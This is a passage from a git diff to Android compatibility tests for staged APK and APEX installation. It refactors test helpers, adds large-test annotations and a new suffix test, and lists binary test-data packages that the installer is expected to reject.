+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following line after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
}
@Test
@@ -308,32 +323,33 @@
@Test
public void testGetGetActiveStagedSession_MultiApkSession() throws Exception {
- int sessionId = stageMultipleApks(
- "StagedInstallTestAppAv1.apk",
- "StagedInstallTestAppBv1.apk")
+ int sessionId = stageMultipleApks(TestApp.A1, TestApp.B1)
.assertSuccessful().getSessionId();
PackageInstaller.SessionInfo session = getPackageInstaller().getActiveStagedSession();
assertThat(session.getSessionId()).isEqualTo(sessionId);
+ // Currently abandoning a session before pre-reboot verification finishes might result in
+ // a system_server crash. Before that issue is resolved we need to manually wait for
+ // pre-reboot verification to finish before abandoning sessions.
+ // TODO(b/145925842): remove following line after fixing the bug.
+ waitForIsReadyBroadcast(sessionId);
}
@Test
public void testStagedInstallDowngrade_DowngradeNotRequested_Fails_Commit() throws Exception {
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- installNonStaged("StagedInstallTestAppAv2.apk");
- int sessionId = stageSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ Install.single(TestApp.A2).commit();
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
assertThat(sessionInfo).isStagedSessionFailed();
}
@Test
public void testStagedInstallDowngrade_DowngradeRequested_Commit() throws Exception {
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- installNonStaged("StagedInstallTestAppAv2.apk");
- int sessionId = stageDowngradeSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ Install.single(TestApp.A2).commit();
+ int sessionId = stageDowngradeSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
@@ -341,11 +357,10 @@
@Test
public void testStagedInstallDowngrade_DowngradeRequested_Fails_Commit() throws Exception {
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- installNonStaged("StagedInstallTestAppAv2.apk");
- int sessionId = stageDowngradeSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ Install.single(TestApp.A2).commit();
+ int sessionId = stageDowngradeSingleApk(TestApp.A1).assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
assertThat(sessionInfo).isStagedSessionFailed();
}
@@ -356,49 +371,47 @@
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
// App should be downgraded.
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
}
@Test
public void testInstallStagedApex_Commit() throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
- int sessionId = stageSingleApk(
- "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
// Version shouldn't change before reboot.
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
}
@Test
public void testInstallStagedApex_VerifyPostReboot() throws Exception {
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
}
@Test
public void testInstallStagedApexAndApk_Commit() throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
- int sessionId = stageMultipleApks(
- "com.android.apex.cts.shim.v2.apex",
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+ int sessionId = stageMultipleApks(TestApp.Apex2, TestApp.A1)
+ .assertSuccessful().getSessionId();
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
// Version shouldn't change before reboot.
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
}
@Test
public void testInstallStagedApexAndApk_VerifyPostReboot() throws Exception {
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
}
@Test
@@ -418,9 +431,9 @@
@Test
public void testInstallStagedNonPreInstalledApex_Fails() throws Exception {
- assertThat(getInstalledVersion(NOT_PRE_INSTALLED_SHIM_APEX_PACKAGE_NAME)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.NotPreInstalledApex)).isEqualTo(-1);
int sessionId = stageSingleApk(
- "com.android.apex.cts.shim_not_pre_installed.apex")
+ TestApp.ApexNotPreInstalled)
.assertSuccessful().getSessionId();
PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
assertThat(sessionInfo).isStagedSessionFailed();
@@ -428,9 +441,9 @@
@Test
public void testStageApkWithSameNameAsApexShouldFail_Commit() throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
- int sessionId = stageSingleApk(
- "StagedInstallTestAppSamePackageNameAsApex.apk").assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ int sessionId = stageSingleApk(TESTAPP_SAME_NAME_AS_APEX)
+ .assertSuccessful().getSessionId();
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
@@ -440,28 +453,21 @@
public void testStageApkWithSameNameAsApexShouldFail_VerifyPostReboot() throws Exception {
int sessionId = retrieveLastSessionId();
assertSessionFailed(sessionId);
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
}
@Test
public void testNonStagedInstallApkWithSameNameAsApexShouldFail() throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
- PackageInstaller packageInstaller = getPackageInstaller();
- PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
- PackageInstaller.SessionParams.MODE_FULL_INSTALL);
- int sessionId = packageInstaller.createSession(sessionParams);
- PackageInstaller.Session session = packageInstaller.openSession(sessionId);
- writeApk(session, "StagedInstallTestAppSamePackageNameAsApex.apk");
- session.commit(LocalIntentSender.getIntentSender());
- final String errorMessage = extractErrorMessage(LocalIntentSender.getIntentSenderResult());
- assertThat(errorMessage).contains("is an APEX package and can't be installed as an APK");
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ InstallUtils.commitExpectingFailure(AssertionError.class,
+ "is an APEX package and can't be installed as an APK",
+ Install.single(TESTAPP_SAME_NAME_AS_APEX));
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
}
@Test
public void testInstallV3Apex_Commit() throws Exception {
- int sessionId = stageSingleApk(
- "com.android.apex.cts.shim.v3.apex").assertSuccessful().getSessionId();
+ int sessionId = stageSingleApk(TestApp.Apex3).assertSuccessful().getSessionId();
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
@@ -471,15 +477,14 @@
public void testInstallV3Apex_VerifyPostReboot() throws Exception {
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
}
@Test
public void testStagedInstallDowngradeApex_DowngradeNotRequested_Fails_Commit()
throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
- int sessionId = stageSingleApk(
- "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ int sessionId = stageSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
assertThat(sessionInfo).isStagedSessionFailed();
// Also verify that correct session info is reported by PackageManager.
@@ -493,15 +498,14 @@
int sessionId = retrieveLastSessionId();
assertSessionFailed(sessionId);
// INSTALL_REQUEST_DOWNGRADE wasn't set, so apex shouldn't be downgraded.
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
}
@Test
public void testStagedInstallDowngradeApex_DowngradeRequested_DebugBuild_Commit()
throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
- int sessionId = stageDowngradeSingleApk(
- "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ int sessionId = stageDowngradeSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
storeSessionId(sessionId);
@@ -513,15 +517,14 @@
int sessionId = retrieveLastSessionId();
assertSessionApplied(sessionId);
// Apex should be downgraded.
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(2);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
}
@Test
public void testStagedInstallDowngradeApex_DowngradeRequested_UserBuild_Fails_Commit()
throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
- int sessionId = stageDowngradeSingleApk(
- "com.android.apex.cts.shim.v2.apex").assertSuccessful().getSessionId();
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+ int sessionId = stageDowngradeSingleApk(TestApp.Apex2).assertSuccessful().getSessionId();
PackageInstaller.SessionInfo sessionInfo = waitForBroadcast(sessionId);
assertThat(sessionInfo).isStagedSessionFailed();
// Also verify that correct session info is reported by PackageManager.
@@ -535,25 +538,20 @@
int sessionId = retrieveLastSessionId();
assertSessionFailed(sessionId);
// Apex shouldn't be downgraded.
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(3);
}
@Test
public void testInstallApex_DeviceDoesNotSupportApex_Fails() throws Exception {
- try {
- stageSingleApk("com.android.apex.cts.shim.v2.apex");
- fail("IllegalArgumentException expected");
- } catch (IllegalArgumentException expected) {
- assertThat(expected.getMessage()).contains(
- "This device doesn't support the installation of APEX files");
- }
+ InstallUtils.commitExpectingFailure(IllegalArgumentException.class,
+ "This device doesn't support the installation of APEX files",
+ Install.single(TestApp.Apex2).setStaged());
}
@Test
public void testFailsInvalidApexInstall_Commit() throws Exception {
- assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
- int sessionId = stageSingleApk(
- "com.android.apex.cts.shim.v2_wrong_sha.apex").assertSuccessful()
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ int sessionId = stageSingleApk(TestApp.ApexWrongSha2).assertSuccessful()
.getSessionId();
waitForIsFailedBroadcast(sessionId);
assertSessionFailed(sessionId);
@@ -603,13 +601,12 @@
};
Context context = InstrumentationRegistry.getInstrumentation().getContext();
- PackageInstaller packageInstaller = context.getPackageManager().getPackageInstaller();
+ PackageInstaller packageInstaller = getPackageInstaller();
packageInstaller.registerSessionCallback(callback, handler);
- int sessionId = stageSingleApk(
- "StagedInstallTestAppAv1.apk").assertSuccessful().getSessionId();
+ int sessionId = stageSingleApk(TestApp.A1).assertSuccessful().getSessionId();
- assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+ assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
waitForIsReadyBroadcast(sessionId);
assertSessionReady(sessionId);
@@ -627,9 +624,24 @@
packageInstaller.abandonSession(sessionId);
}
- private static PackageInstaller getPackageInstaller() {
- return InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
- .getPackageInstaller();
+ @Test
+ public void testInstallStagedApexWithoutApexSuffix_Commit() throws Exception {
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+
+ int sessionId = stageSingleApk("com.android.apex.cts.shim.v2.apex", "package")
+ .assertSuccessful().getSessionId();
+ waitForIsReadyBroadcast(sessionId);
+ assertSessionReady(sessionId);
+ storeSessionId(sessionId);
+ // Version shouldn't change before reboot.
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+ }
+
+ @Test
+ public void testInstallStagedApexWithoutApexSuffix_VerifyPostReboot() throws Exception {
+ int sessionId = retrieveLastSessionId();
+ assertSessionApplied(sessionId);
+ assertThat(getInstalledVersion(TestApp.Apex)).isEqualTo(2);
}
private static long getInstalledVersion(String packageName) {
@@ -646,73 +658,52 @@
// It becomes harder to maintain this variety of install-related helper methods.
// TODO(ioffe): refactor install-related helper methods into a separate utility.
private static int createStagedSession() throws Exception {
- return createStagedSession(getPackageInstaller(), false, false, false);
+ return Install.single(TestApp.A1).setStaged().createSession();
}
- private static int createStagedSession(
- PackageInstaller packageInstaller,
- boolean multiPackage, boolean isDowngrade, boolean isApexSession) throws Exception {
- PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
- PackageInstaller.SessionParams.MODE_FULL_INSTALL);
- if (multiPackage) {
- sessionParams.setMultiPackage();
- }
- sessionParams.setStaged();
- sessionParams.setRequestDowngrade(isDowngrade);
- if (isApexSession) {
- sessionParams.setInstallAsApex();
- }
-
- return packageInstaller.createSession(sessionParams);
+ private static void commitSession(int sessionId) throws IOException {
+ InstallUtils.openPackageInstallerSession(sessionId)
+ .commit(LocalIntentSender.getIntentSender());
}
- private static StageSessionResult stageDowngradeSingleApk(String apkFileName) throws Exception {
- Log.i(TAG, "Staging a downgrade of " + apkFileName);
- PackageInstaller packageInstaller = getPackageInstaller();
-
- Pair<Integer, PackageInstaller.Session> sessionPair =
- prepareSingleApkStagedSession(packageInstaller, apkFileName, true);
+ private static StageSessionResult stageDowngradeSingleApk(TestApp testApp) throws Exception {
+ Log.i(TAG, "Staging a downgrade of " + testApp);
+ int sessionId = Install.single(testApp).setStaged().setRequestDowngrade().createSession();
// Commit the session (this will start the installation workflow).
- Log.i(TAG, "Committing downgrade session for apk: " + apkFileName);
- sessionPair.second.commit(LocalIntentSender.getIntentSender());
- return new StageSessionResult(sessionPair.first, LocalIntentSender.getIntentSenderResult());
+ Log.i(TAG, "Committing downgrade session for apk: " + testApp);
+ commitSession(sessionId);
+ return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
}
- private static StageSessionResult stageSingleApk(String apkFileName) throws Exception {
+ private static StageSessionResult stageSingleApk(String apkFileName, String outputFileName)
+ throws Exception {
Log.i(TAG, "Staging an install of " + apkFileName);
- PackageInstaller packageInstaller = getPackageInstaller();
-
- Pair<Integer, PackageInstaller.Session> sessionPair =
- prepareSingleApkStagedSession(packageInstaller, apkFileName, false);
+ // this is a trick to open an empty install session so we can manually write the package
+ // using writeApk
+ TestApp empty = new TestApp(null, null, -1,
+ apkFileName.endsWith(".apex"));
+ int sessionId = Install.single(empty).setStaged().createSession();
+ PackageInstaller.Session session = InstallUtils.openPackageInstallerSession(sessionId);
+ writeApk(session, apkFileName, outputFileName);
// Commit the session (this will start the installation workflow).
Log.i(TAG, "Committing session for apk: " + apkFileName);
- sessionPair.second.commit(LocalIntentSender.getIntentSender());
- return new StageSessionResult(sessionPair.first, LocalIntentSender.getIntentSenderResult());
+ commitSession(sessionId);
+ return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
}
- private static Pair<Integer, PackageInstaller.Session>
- prepareSingleApkStagedSession(PackageInstaller packageInstaller, String apkFileName,
- boolean isDowngrade)
- throws Exception {
- int sessionId = createStagedSession(packageInstaller, false, isDowngrade,
- apkFileName.endsWith(".apex"));
- PackageInstaller.Session session = packageInstaller.openSession(sessionId);
- writeApk(session, apkFileName);
- return new Pair<>(sessionId, session);
+ private static StageSessionResult stageSingleApk(TestApp testApp) throws Exception {
+ Log.i(TAG, "Staging an install of " + testApp);
+ int sessionId = Install.single(testApp).setStaged().createSession();
+ // Commit the session (this will start the installation workflow).
+ Log.i(TAG, "Committing session for apk: " + testApp);
+ commitSession(sessionId);
+ return new StageSessionResult(sessionId, LocalIntentSender.getIntentSenderResult());
}
- private static StageSessionResult stageMultipleApks(String... apkFileNames) throws Exception {
- Log.i(TAG, "Staging an install of " + Arrays.toString(apkFileNames));
- PackageInstaller packageInstaller = getPackageInstaller();
- int multiPackageSessionId = createStagedSession(packageInstaller, true, false, false);
- PackageInstaller.Session multiPackageSession = packageInstaller.openSession(
- multiPackageSessionId);
- for (String apkFileName : apkFileNames) {
- Pair<Integer, PackageInstaller.Session> sessionPair =
- prepareSingleApkStagedSession(packageInstaller, apkFileName, false);
- multiPackageSession.addChildSessionId(sessionPair.first);
- }
- multiPackageSession.commit(LocalIntentSender.getIntentSender());
+ private static StageSessionResult stageMultipleApks(TestApp... testApps) throws Exception {
+ Log.i(TAG, "Staging an install of " + Arrays.toString(testApps));
+ int multiPackageSessionId = Install.multi(testApps).setStaged().createSession();
+ commitSession(multiPackageSessionId);
return new StageSessionResult(
multiPackageSessionId, LocalIntentSender.getIntentSenderResult());
}
@@ -764,20 +755,10 @@
}
}
- private static void installNonStaged(String apkFileName) throws Exception {
- PackageInstaller packageInstaller = getPackageInstaller();
- PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
- PackageInstaller.SessionParams.MODE_FULL_INSTALL);
- int sessionId = packageInstaller.createSession(sessionParams);
- PackageInstaller.Session session = packageInstaller.openSession(sessionId);
- writeApk(session, apkFileName);
- session.commit(LocalIntentSender.getIntentSender());
- assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
- }
-
- private static void writeApk(PackageInstaller.Session session, String apkFileName)
+ private static void writeApk(PackageInstaller.Session session, String apkFileName,
+ String outputFileName)
throws Exception {
- try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
+ try (OutputStream packageInSession = session.openWrite(outputFileName, 0, -1);
InputStream is =
StagedInstallTest.class.getClassLoader().getResourceAsStream(apkFileName)) {
byte[] buffer = new byte[4096];
@@ -845,19 +826,6 @@
return getPackageInstaller().getSessionInfo(sessionId);
}
- private static void uninstall(String packageName) throws Exception {
- // No need to uninstall if the package isn't installed.
- if (getInstalledVersion(packageName) == -1) {
- return;
- }
-
- Context context = InstrumentationRegistry.getInstrumentation().getContext();
- PackageManager packageManager = context.getPackageManager();
- PackageInstaller packageInstaller = packageManager.getPackageInstaller();
- packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
- assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
- }
-
private static void assertStatusSuccess(Intent result) {
int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
PackageInstaller.STATUS_FAILURE);
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
index 9182ee9..094fd8d 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
@@ -21,6 +21,8 @@
import static org.junit.Assume.assumeThat;
+import android.platform.test.annotations.LargeTest;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -87,6 +89,7 @@
}
@Test
+ @LargeTest
public void testRejectsApexWithAdditionalFile() throws Exception {
runPhase("testRejectsApexWithAdditionalFile_Commit");
getDevice().reboot();
@@ -94,6 +97,7 @@
}
@Test
+ @LargeTest
public void testRejectsApexWithAdditionalFolder() throws Exception {
runPhase("testRejectsApexWithAdditionalFolder_Commit");
getDevice().reboot();
@@ -101,6 +105,7 @@
}
@Test
+ @LargeTest
public void testRejectsApexWithPostInstallHook() throws Exception {
runPhase("testRejectsApexWithPostInstallHook_Commit");
getDevice().reboot();
@@ -108,6 +113,7 @@
}
@Test
+ @LargeTest
public void testRejectsApexWithPreInstallHook() throws Exception {
runPhase("testRejectsApexWithPreInstallHook_Commit");
getDevice().reboot();
@@ -115,6 +121,7 @@
}
@Test
+ @LargeTest
public void testRejectsApexWrongSHA() throws Exception {
runPhase("testRejectsApexWrongSHA_Commit");
getDevice().reboot();
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index fc72f3a..6bb1d6f 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -25,6 +25,8 @@
import static org.junit.Assume.assumeThat;
import static org.junit.Assume.assumeTrue;
+import android.platform.test.annotations.LargeTest;
+
import com.android.ddmlib.Log;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
@@ -77,6 +79,7 @@
* Tests staged install involving only one apk.
*/
@Test
+ @LargeTest
public void testInstallStagedApk() throws Exception {
assumeSystemUser();
runPhase("testInstallStagedApk_Commit");
@@ -111,6 +114,7 @@
}
@Test
+ @LargeTest
public void testAbandonStagedApkBeforeReboot() throws Exception {
runPhase("testAbandonStagedApkBeforeReboot_CommitAndAbandon");
getDevice().reboot();
@@ -118,6 +122,7 @@
}
@Test
+ @LargeTest
public void testInstallMultipleStagedApks() throws Exception {
assumeSystemUser();
runPhase("testInstallMultipleStagedApks_Commit");
@@ -152,6 +157,7 @@
}
@Test
+ @LargeTest
public void testStagedInstallDowngrade_DowngradeRequested_DebugBuild() throws Exception {
assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
@@ -175,6 +181,7 @@
}
@Test
+ @LargeTest
public void testInstallStagedApex() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -207,6 +214,7 @@
}
@Test
+ @LargeTest
public void testStageApkWithSameNameAsApexShouldFail() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -222,6 +230,7 @@
}
@Test
+ @LargeTest
public void testStagedInstallDowngradeApex_DowngradeNotRequested_Fails() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -232,6 +241,7 @@
}
@Test
+ @LargeTest
public void testStagedInstallDowngradeApex_DowngradeRequested_DebugBuild() throws Exception {
assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -243,6 +253,7 @@
}
@Test
+ @LargeTest
public void testStagedInstallDowngradeApex_DowngradeRequested_UserBuild_Fails()
throws Exception {
assumeThat(getDevice().getBuildFlavor(), endsWith("-user"));
@@ -256,6 +267,7 @@
}
@Test
+ @LargeTest
public void testInstallStagedApex_SameGrade() throws Exception {
assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -293,6 +305,16 @@
runPhase("testStagedApkSessionCallbacks");
}
+ @Test
+ @LargeTest
+ public void testInstallStagedApexWithoutApexSuffix() throws Exception {
+ assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+ runPhase("testInstallStagedApexWithoutApexSuffix_Commit");
+ getDevice().reboot();
+ runPhase("testInstallStagedApexWithoutApexSuffix_VerifyPostReboot");
+ }
+
/**
* Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
* it has a version higher than {@code 1}).
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v1.apex
new file mode 100644
index 0000000..e3bdbdd
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex
index 9dc33de..5f05659 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex
index 0ba9d99..680dfb2 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex
index 1d3fcf5..6103b50 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex
new file mode 100644
index 0000000..cf0e800
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex
new file mode 100644
index 0000000..0af717c
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex
new file mode 100644
index 0000000..d3f7014
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
new file mode 100644
index 0000000..05f1cbb
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index c32b139..37acf43 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index 6a0fb0d..c82c1e0 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex
index 2388490..d9905a8 100644
